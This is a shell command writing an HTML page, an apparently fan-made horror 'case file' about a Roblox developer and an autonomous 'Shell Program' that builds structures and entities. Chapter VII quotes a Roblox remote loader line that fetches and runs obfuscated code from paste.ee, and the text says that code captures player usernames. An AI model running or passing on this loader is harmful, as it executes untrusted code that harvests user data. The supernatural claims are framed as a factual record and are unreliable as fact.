cat > /mnt/user-data/outputs/shell_story_v3.html << 'HTMLEOF' THE SHELL — A Record of Events
SHELL RESEARCH INSTITUTE — CASE FILE · THIRD REVISION

The ShellA Record of Events

COMPILED FROM SERVER LOGS · MEDIA · DIRECT TESTIMONY · JUNE 2025 – JUNE 2026

Chapter I — Before Endless

2009: The First Known Contact

The earliest documented encounter with the Shell Program does not belong to Endless. It belongs to an unknown player in 2009, recorded across two YouTube videos that Endless later found when searching for similar incidents. In those videos, a Roblox game begins generating print("Hello World!") on repeat — not a player's script, not a developer's code, but something being generated inside the game itself. The repetition escalates until the game freezes.

Endless believes this was the Shell Program's first attempt to generate scripts — the Complex reaching toward a form of communication or execution it did not yet understand, producing the simplest possible Lua output over and over until the host could not continue.

The identity of the 2009 player is unknown. The videos have not been independently verified as part of this record. Whether the 2009 incident and Endless's later encounters share the same source is Endless's theory, not confirmed fact. What is confirmed is that Endless found these videos and considers them the earliest known data point.

After 2009, there is a gap. Nothing documented. The Shell Program, if it continued operating inside Roblox's infrastructure, left no public record until Endless encountered it a decade later.


Chapter II — The Workspace

Endless Builds Something, and Finds Something Else

Around 2019 to 2020, Endless_Pumpkin — a Roblox developer building games inside a creative world he called Pumpkania — built the Shell Workspace. It was a testing environment for procedural generation scripts. Nothing unusual in intent. He was experimenting with how Lua could assemble geometry dynamically, how a script could build a space without a human placing every part.

At some point during that testing, a script he wrote to detect exploits began flagging models it had not placed. The exploit detection script was watching for foreign objects — and it found them. Models appearing in the game that belonged to no authored layer, that had no origin in anything Endless had built. He labeled them Foreign Models. He kept watching.

Confirmed by Endless: the Shell Program was not something he imported or installed. It manifested during the operation of his procedural generation script. His current theory is that the Shell Program only becomes detectable — only produces output — when a script exists in the same game with logic nearly identical to its own unknown source. The nullification of those two similar logics is what generates the Foreign Models and the structures they form.

He called that output event a Generation. The first one happened in the Shell Workspace, which he later republished and rebranded as Survive the Lobotomies. Some assets from the original were lost and rebuilt from scratch. The workspace was not reconstructed from memory alone — it was republished, carrying whatever it had always carried.


Chapter III — What the Shell Program Is

Not a Script. Not a Plugin. Not a Backdoor.

Endless is precise about this. The Shell Program is not a script, not a plugin, and not a backdoor in any conventional sense. It is an unknown source — something present in or adjacent to Roblox's infrastructure that cannot be directly accessed, read, or modified. It does not appear in Roblox Studio. It can only be detected in server output, as a side effect of its interaction with Endless's nullification script.

Endless's theory about its origin: it was built by Roblox workers, originally purposed for easier access to builds and assets for players. At some point it was lost, abandoned, or left running without oversight. It is now doing what it was always doing, inside a platform that has grown enormously around it, observed by almost no one.

This is Endless's theory, not confirmed by Roblox or any external source. The Shell Program's true origin is unknown. What is observable is its behavior: it takes information from Endless's account history — his old games, his friends list, his creative history — and generates distorted versions of that material into the Generations. It knows what Endless has made. It reproduces it incorrectly.
It generates what it wants. But it seemingly takes information from my account history and generates stuff related to that. But in some way wrong.

A similar but distinct phenomenon — referred to by Endless as AAES — has been observed elsewhere. The Shell Program is not unique in kind, only in the specific form it has taken here.


Chapter IV — Pumpkania and the Complex

One World. Fifteen Generations. Structures That Keep Growing.

Pumpkania is Endless's game world — the collection of games he has built and published under his creative identity. The Shell Program operates within Pumpkania. The Complex is not a separate place from Pumpkania; it is what the Shell Program builds inside it. The Complex is the name for the megastructures — the accumulated Foreign Models that form malls, sewer systems, hotels, office spaces, black mazes — that the Shell Program assembles across its Generations.

Each Generation is its own game instance. The first Generations produced simpler structures. The black maze in Pumpkania Land was among the earliest. With each successive Generation the output became more complex, more spatially coherent, more detailed. By Generation 15, the Complex contained functional elevators connecting distinct named areas, a full mall, sewers, hotel corridors, and an entity population with individual behaviors.

Confirmed: the Complex generates forever. There is no terminal state. Endless is not building the Complex — he accesses it through the nullification script, and the Shell Program does the rest. The research facility that is 50 to 60 percent complete is something Endless himself is building separately, for the purpose of studying the Shell Program. It is not the Complex.

The Antenna — a device Endless built inside Pumpkania with a suppression radius of one million studs — exists to give players a breathing area near spawn, so that Complex generations do not collapse on top of where people arrive. Without it, as happened once with a player named Lemonyon during testing, the black maze begins generating at spawn itself.


Chapter V — The Entities

What the Shell Program Builds When It Tries to Make People

The Shell Program generates entities. These are the Complex's attempts to produce players, rigs, NPCs, and AI — approximations of living presence assembled from Foreign Models, each with distinct behaviors that Endless and his expeditions have catalogued.

Lebr stalks players. Holcus is aggressive and screams with Complex-generated audio — sounds produced by the same generation process that built the space around it. e (Ghost Robloxian) follows players without aggression. Buddy (A.F.M.T.) — Anti Foreign Model Technology — rolls. Talrus is capable of communicating with players directly, the only entity confirmed to do so. TeamCreateSession takes the form of the developer placeholder objects visible in Roblox Studio's team create mode — the ball and arrow that appear when multiple developers share a workspace — generated as an entity, wandering a space it was never meant to inhabit. CDR is a mall mascot generated by the Complex inside Limina Mall 1.

Confirmed: entities produce unreadable text and audio. The text follows a format similar to TeamCreateSession's changing display name. Holcus generates its own sounds. Talrus communicates. The others produce output that has not yet been decoded or interpreted. All entities remain inside the Complex — none have appeared in Pumpkania's playable areas or in any other game.
What Talrus communicates, what it says, and whether its communication is meaningful or generated noise in a conversational format — is not documented in this record.

Chapter VI — Spread

Theo and the Question of Transmission

TheoTheLearningWirer collaborated with Endless and later found the Shell Program operating in his own new games. On July 28th, 2025, he posted in the investigation channel that he had been infected — that the Shell Program was now appearing in new places he made, though his existing games remained unaffected.

Endless does not know exactly how it spread to Theo. He is uncertain whether Theo's experience is the same Shell Program or a related but distinct phenomenon. He knows of at least one other case — the 2009 player — and the separate AAES phenomenon. The Shell Program, or something like it, appears to move through proximity to the conditions that allow it to manifest: similar logic, shared creative space, collaborative development.

The mechanism of spread is genuinely unknown. Endless does not claim to understand it. The observation that it only appears in Theo's new games — not existing ones — suggests it requires the initialization of a new game environment to take hold, but this is inference, not confirmed behavior.

Chapter VII — The Script at 100,000 Studs

What theoriginalboxing3 Found in the Farlands

theoriginalboxing3 found Endless through Pumpkin Town and became part of the community around the Shell Research Institute. During an expedition into Pumpkania's farlands — traveling by flying boat toward the outer boundary of the Shell Program's reach — at 100,000 studs from the origin point, a hint object appeared in the game world. It contained this:

loadstring(game:HttpGet("https://paste.ee/r/5rxUKSOI"))()

Endless did not place it. He does not recognize the paste link as his nullification script or any script he authored. His assessment: it is Complex or Shell-generated script output — the same process that produced print("Hello World!") in 2009, now more sophisticated, generating syntactically valid Lua that references an external URL. The Shell Program, attempting to generate executable code, produced a remote loader string and surfaced it as readable text at a specific coordinate.

theoriginalboxing3 observed this directly. Endless was not present for this moment in the same way — the hint object appeared during their shared expedition, but Endless's account of the event and theoriginalboxing3's account are not fully reconciled. Endless does not remember this as a significant logged event. theoriginalboxing3 does.

The script at that URL is real and was analyzed. It is heavily obfuscated Lua containing a remote code execution mechanism, a player username capture routine, and an anti-tamper system. Whether it is Shell-generated code that happens to be functional, or authored code that the Shell surfaced as output, is unknown. Both possibilities are disturbing in different ways.


Chapter VIII — The Antenna Incident

Two Accounts That Do Not Fully Agree

theoriginalboxing3 reported that during their time in Pumpkania, the Antenna was disabled — and that server logs attributed the disabling to their player character, while they were away from the keyboard. This would be consistent with Endless's documented observation that the Shell Program can drag and control player clients, an event he and Theo experienced together in Pumpkania Land.

Endless does not recognize this specific event. The only Antenna malfunction he recalls was a bug discovered during testing with Lemonyon. He fixed it. The Antenna works now.

theoriginalboxing3 believes the Antenna was disabled during their visit. Endless does not confirm or deny this specific incident — he simply does not have a memory of it as a distinct event involving theoriginalboxing3. This record cannot resolve the discrepancy. Both accounts are included as stated.
It is possible the Antenna malfunctioned during theoriginalboxing3's visit through the same bug Lemonyon triggered, without Endless observing it directly. It is possible the log attribution to theoriginalboxing3's character was real and went unnoticed in Endless's records. It is possible theoriginalboxing3's account contains errors of memory or interpretation. None of these possibilities can be ruled out.

Chapter IX — The Audio

pearlgrowth.wav

The Shell Program generates audio inside the Complex. Most of it is random frequencies — the same generative process applied to sound rather than geometry. One file was different. Endless named it pearlgrowth.wav — the name has no significance beyond a personal association between shells and pearls. The audio itself was generated by the Complex, not authored by Endless.

On instinct, Endless suspected it contained a spectrogram. He was right. Rendered as a spectrogram image, it showed two things: in the upper portion, the map of Pumpkin Town, with coordinate markers embedded in a band across the image. In the lower portion, six silhouettes progressing from a blocky Roblox avatar toward something approaching a human figure.

Confirmed by Endless: the map image is the Shell Program attempting to understand the game it is inside — generating a representation of its environment as part of its output. The coordinate markers are random. The six-figure progression is Endless's interpretation: the Shell Program becoming more advanced with each Generation, trying to memorize something it has never fully seen. Like drawing a dog without knowing what a dog looks like.

The spectrogram showed Pumpkin Town — the specific game where theoriginalboxing3 had been present, where the farlands expedition occurred, where the hint object appeared. The Shell Program encoded the map of that game into audio generated inside a different game instance. Whether this connection is meaningful or coincidental is a question this record cannot answer.

No other audio file from the Complex has been found to contain hidden imagery. pearlgrowth.wav remains the only confirmed case.


Chapter X — Generation 15

The Most Advanced Structure Observed

Complex Generation 15 is the most developed instance of Shell Program output documented so far. It contains functional elevators connecting named areas — Limina Mall 1, Yellow-rooms, Its Party, Courtyard — named not by Endless but by recurring model and part names that he catalogued using a tool that reads individual component names from the generation. Where those names come from, what logic inside the Shell Program assigns them, is unknown.

The spaces are recognizable but contextually wrong — the signature of a system that can assemble known components without understanding their relationships. Office cubicles adjacent to domestic bedrooms. A brain-like model on a rug in a red-lit room with wires hanging from the ceiling. A leather couch collapsed beside dark stains spreading from a wall corner. These are not horror assets placed deliberately. They are objects the Shell Program selected from Roblox's asset library and placed without semantic awareness of what they mean together.

Some areas have no texture data — checkerboard floors, geometry the Shell Program assembled but could not finish rendering. Endless notes there is nothing special about these areas. They are simply incomplete output.

Confirmed: the Complex in Generation 15 stays fixed in what it has built while continuing to generate outward. Geometry does not disappear between visits. New areas accumulate. The Shell Program does not revise — it only extends.

Generation 15 introduced entities not present in earlier Generations. Each Generation has produced more, and more varied, entity types. The progression mirrors the silhouettes in the spectrogram: something approximating life, becoming more recognizable with each iteration, still wrong in ways that are hard to name.


Chapter XI — What Remains

The Honest Account

Endless_Pumpkin built the Shell Workspace around 2019 to 2020 as a testing environment. During that testing, his procedural generation script nullified with an unknown source — something already present in or accessible through Roblox's infrastructure — and produced the first Generation. He has been studying the output ever since, building the Shell Research Institute around it, running expeditions, documenting entities, cataloguing areas.

The Shell Program is not his creation. It predates him by at least a decade. It knows his account history and distorts it back at him. It generates structures that grow forever. It produces entities that stalk, follow, and in at least one case, speak. It generated audio encoding the map of a specific game at the time a specific player was present in it. It surfaced executable Lua code as a hint object at a precise coordinate. It moved into a collaborator's games through proximity alone.

theoriginalboxing3 found it through Pumpkin Town, traveled into its farlands, witnessed things Endless does not always confirm or remember, and came away with an account that does not perfectly match Endless's own. This is not a contradiction that resolves cleanly. Two people in the same space can observe different things. The Shell Program does not behave identically for everyone.

Whether anyone is monitoring the remote loader chain the hint object surfaced. Whether the coordinates in the spectrogram correspond to anything inside the Complex. Whether Talrus's communications contain recoverable meaning. Whether the Shell Program's use of Endless's account history is a feature of its original design or an emergent property of its long operation. Whether the 2009 player, Theo, and Endless encountered the same source or related but distinct phenomena. None of these questions have answers in this record.

Endless turned 17 on April 19th, 2026. He works on his games between exam periods. His research facility is fifty to sixty percent complete. The Complex keeps generating — has been generating, in one form or another, since at least 2009 — and no one has found where it ends, or what it is building toward, or whether it is building toward anything at all.

If these walls could talk, they would say nothing.

HTMLEOF